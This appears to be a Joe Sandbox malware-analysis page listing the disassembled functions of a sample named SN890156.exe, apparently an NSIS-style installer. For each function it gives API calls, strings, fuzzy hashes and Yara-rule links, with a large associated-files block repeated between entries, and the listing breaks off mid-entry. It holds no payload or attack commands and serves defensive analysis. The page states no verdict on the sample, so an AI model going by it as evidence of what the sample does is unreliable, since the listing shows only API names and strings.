Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 71877a7a262dafc421d32051f299b94a022cafc7db0cfa80fe41998ab0ee6c46
Instruction ID: 5886dfe4bc611d4993f15ed40ae28ce81127269af5662ddb55851ccd49cbf6f1
Opcode Fuzzy Hash: 71877a7a262dafc421d32051f299b94a022cafc7db0cfa80fe41998ab0ee6c46
Instruction Fuzzy Hash: 10F05E71A00115ABC711EFA4DD49AAEB378FF04324F1005BBF105E21E1D6B89A409B29

Function 00404280 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040431E
GetDlgItem.USER32(?,000003E8), ref: 00404332
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040434F
GetSysColor.USER32(?), ref: 00404360
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040436E
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040437C
lstrlenW.KERNEL32(?), ref: 00404381
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040438E
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043A3
GetDlgItem.USER32(?,0000040A), ref: 004043FC
SendMessageW.USER32(00000000), ref: 00404403
GetDlgItem.USER32(?,000003E8), ref: 0040442E
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404471
LoadCursorW.USER32(00000000,00007F02), ref: 0040447F
SetCursor.USER32(00000000), ref: 00404482
ShellExecuteW.SHELL32(0000070B,open,004271C0,00000000,00000000,00000001), ref: 00404497
LoadCursorW.USER32(00000000,00007F00), ref: 004044A3
SetCursor.USER32(00000000), ref: 004044A6
SendMessageW.USER32(00000111,00000001,00000000), ref: 004044D5
SendMessageW.USER32(00000010,00000000,00000000), ref: 004044E7

Strings

: Completed, xrefs: 0040445D
N, xrefs: 0040441C
open, xrefs: 0040448F

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: : Completed$N$open
API String ID: 3615053054-3069340868
Opcode ID: 2c4f6cf5a4aa9f0210a02c82683795d0b5a579b88aa58951f10bca9314f1fa64
Instruction ID: 4b5324550c8b175de7ac8ee9e9744dd98fad869a56f6e91fb07d2f074fcd5292
Opcode Fuzzy Hash: 2c4f6cf5a4aa9f0210a02c82683795d0b5a579b88aa58951f10bca9314f1fa64
Instruction Fuzzy Hash: F87172B1A00209BFDB109F60DD85E6A7B69FB84354F00853AF705B62E1C778AD51CFA9

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00428220,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 6e8d97c549c1634dd7cb3ad4fe557c39b8a0e77cc2ec0408d7783d5d6495b6da
Instruction ID: b0ee482b8836f8c5ddb0523b9b95fc6b4c0959077eeb464a3039c1fdf8a9f2d7
Opcode Fuzzy Hash: 6e8d97c549c1634dd7cb3ad4fe557c39b8a0e77cc2ec0408d7783d5d6495b6da
Instruction Fuzzy Hash: F6418B71804249AFCB058FA5DD459BFBBB9FF44310F00852AF951AA1A0C738EA51DFA5

Function 00405D4E Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425DA8,NUL,?,00000000,?,00409300,00405EE1,?,?), ref: 00405D5D
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00409300,00405EE1,?,?), ref: 00405D81
GetShortPathNameW.KERNEL32(?,00425DA8,00000400), ref: 00405D8A

Part of subcall function 00405B59: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E3A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B69
Part of subcall function 00405B59: lstrlenA.KERNEL32(00000000,?,00000000,00405E3A,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9B

GetShortPathNameW.KERNEL32(004265A8,004265A8,00000400), ref: 00405DA7
wsprintfA.USER32 ref: 00405DC5
GetFileSize.KERNEL32(00000000,00000000,004265A8,C0000000,00000004,004265A8,?,?,?,?,?), ref: 00405E00
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E0F
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E47
SetFilePointer.KERNEL32(00409578,00000000,00000000,00000000,00000000,004259A8,00000000,-0000000A,00409578,00000000,[Rename],00000000,00000000,00000000), ref: 00405E9D
GlobalFree.KERNEL32(00000000), ref: 00405EAE
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EB5

Part of subcall function 00405BF4: GetFileAttributesW.KERNELBASE(00000003,00402E2E,00437800,80000000,00000003,?,?,00000000,00403504,?), ref: 00405BF8
Part of subcall function 00405BF4: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,00403504,?), ref: 00405C1A

Strings

[Rename], xrefs: 00405E2F, 00405E41
%ls=%ls, xrefs: 00405DBB
NUL, xrefs: 00405D57

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: e80570f2f8cd2c9f135b21ee9e2312080ea8554e7c88b9adf45b38d7f754558e
Instruction ID: 907d7383bdf99192a2874dfd68d01e77647b980fe5b363d6f0c9d0989479472f
Opcode Fuzzy Hash: e80570f2f8cd2c9f135b21ee9e2312080ea8554e7c88b9adf45b38d7f754558e
Instruction Fuzzy Hash: 88311F71A05B14BBD6206B229C48F6B3A6CDF45755F14043ABE41F62D2DA3CEE018AFD

Function 004062B3 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(00409300,*?|<>/":,00000000,"C:\Users\user\Desktop\SN890156.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 00406316
CharNextW.USER32(00409300,00409300,00409300,00000000), ref: 00406325
CharNextW.USER32(00409300,"C:\Users\user\Desktop\SN890156.exe",75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 0040632A
CharPrevW.USER32(00409300,00409300,75923420,C:\Users\user\AppData\Local\Temp\,00000000,00403245,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403496), ref: 0040633D

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004062B4
"C:\Users\user\Desktop\SN890156.exe", xrefs: 004062F7
*?|<>/":, xrefs: 00406305

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\SN890156.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3623202848
Opcode ID: 6a1238fba9ba947ddf3d1c913c8afd34c4b382e8901ee0696378a8a11e3e1ee4
Instruction ID: 54bf27a4ef4c29ba7f7e7f80dc621db20ebbd613429789f6f10e18307ece98db
Opcode Fuzzy Hash: 6a1238fba9ba947ddf3d1c913c8afd34c4b382e8901ee0696378a8a11e3e1ee4
Instruction Fuzzy Hash: B711946A80021295EB313B198C40AB7B6F8EF59750F56417FED86B32C0E77C5C9286ED

Function 0040414A Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404167
GetSysColor.USER32(00000000), ref: 00404183
SetTextColor.GDI32(?,00000000), ref: 0040418F
SetBkMode.GDI32(?,?), ref: 0040419B
GetSysColor.USER32(?), ref: 004041AE
SetBkColor.GDI32(?,?), ref: 004041BE
DeleteObject.GDI32(?), ref: 004041D8
CreateBrushIndirect.GDI32(?), ref: 004041E2

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: bdecbf54746ac4e95bafbcd3f7306951f606de83f5b9b49a03f8dc0a3bab15ec
Instruction ID: 457b5273a6ad35ed29f896ddd043663fa6b3a1b95e22c78e57b6691615e2b460
Opcode Fuzzy Hash: bdecbf54746ac4e95bafbcd3f7306951f606de83f5b9b49a03f8dc0a3bab15ec
Instruction Fuzzy Hash: 1921A1B1804704ABCB219F68DD4CB4BBBF8AF40710F048A29ED92E62E0D734E944CB65

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405CD5: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405CEB

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 54de609a95a039770bb902f2e006f13192118be6fe7c7de42288ab6e45ce79fa
Instruction ID: 56da5788d6d90062f79809d4a3c22d6e203981add65e083e01e3e907f30c056e
Opcode Fuzzy Hash: 54de609a95a039770bb902f2e006f13192118be6fe7c7de42288ab6e45ce79fa
Instruction Fuzzy Hash: 3F512774D0021AAADF209F94CA88AAEB779FF04344F50447BE501F72E0D7B99D429B69

Function 00404A48 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A63
GetMessagePos.USER32 ref: 00404A6B
ScreenToClient.USER32(?,?), ref: 00404A85
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404A97
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404ABD

Strings

f, xrefs: 00404A99

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 8f99d7edcbb1b2af9b03d3486fc4037292eab20d77c75a8c6737f0729fb79e96
Instruction ID: 42cc3fd90da340ed33e1658783c39be2c5e0210da91f3d0a8fd677c6224e58ad
Opcode Fuzzy Hash: 8f99d7edcbb1b2af9b03d3486fc4037292eab20d77c75a8c6737f0729fb79e96
Instruction Fuzzy Hash: 19015E71E40218BADB00DB94DD85FFEBBBCAF54711F10016BBB11B61D0D7B8AA058BA5

Function 00402D04 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
MulDiv.KERNEL32(000913BB,00000064,00091D20), ref: 00402D4D
wsprintfW.USER32 ref: 00402D5D
SetWindowTextW.USER32(?,?), ref: 00402D6D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D7F

Strings

verifying installer: %d%%, xrefs: 00402D57

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: a68141ec73b2a7b0005fea9bea2e0a343ee18c9164241d5958d7192c74469446
Instruction ID: 02b4a25e1ca2abb3aa07e0940f0a1006ed88c36cf357b8fab3844828eab6b7e4
Opcode Fuzzy Hash: a68141ec73b2a7b0005fea9bea2e0a343ee18c9164241d5958d7192c74469446
Instruction Fuzzy Hash: 3E01F471640209ABEF249F61DD49FEA3B69EB04305F008035FA05A92D1DBB999548F59

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 87880a874489fc218ffeed1bb5b7a61d92979f204a9b9b6f840c636aa4f91737
Instruction ID: ec7c0e824f3835a9a78c8c015c1ffbc75d15747d838d6b82ce361eed526a9b83
Opcode Fuzzy Hash: 87880a874489fc218ffeed1bb5b7a61d92979f204a9b9b6f840c636aa4f91737
Instruction Fuzzy Hash: 1B219E72C00118BBCF216FA5CD49D9E7E79EF09324F24027AF520762E1C7796D419BA9

Function 0040564D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,00409300,C:\Users\user\AppData\Local\Temp\), ref: 00405690
GetLastError.KERNEL32 ref: 004056A4
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056B9
GetLastError.KERNEL32 ref: 004056C3

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405673

Memory Dump Source

Source File: 00000000.00000002.2066441646.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2066403690.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066468633.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.000000000042E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066493871.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000448000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2066717061.0000000000458000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SN890156.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-823278215
Opcode ID: 1b2f11e61ef5d0ea47512485c2032ecfb56833f92387a3fb2d2f530f64b4175b
Instruction ID: d2f3f002a39499475f228c0a6bab6309b881bedc09a5d6a8f103fb05119b383a
Opcode Fuzzy Hash: 1b2f11e61ef5d0ea47512485c2032ecfb56833f92387a3fb2d2f530f64b4175b
Instruction Fuzzy Hash: DE010871D14219EAEF119FA0CD047EFBFB8EB14314F10853AD909B6190E779A604CFAA

Function 00402BFF Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00402C20
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402C5C
RegCloseKey.ADVAPI32(?), ref: 00402C65
RegCloseKey.ADVAPI32(?), ref: 00402C8A
RegDeleteKeyW.ADVAPI32(?,?), ref: 00402CA8

Memory Dump Source

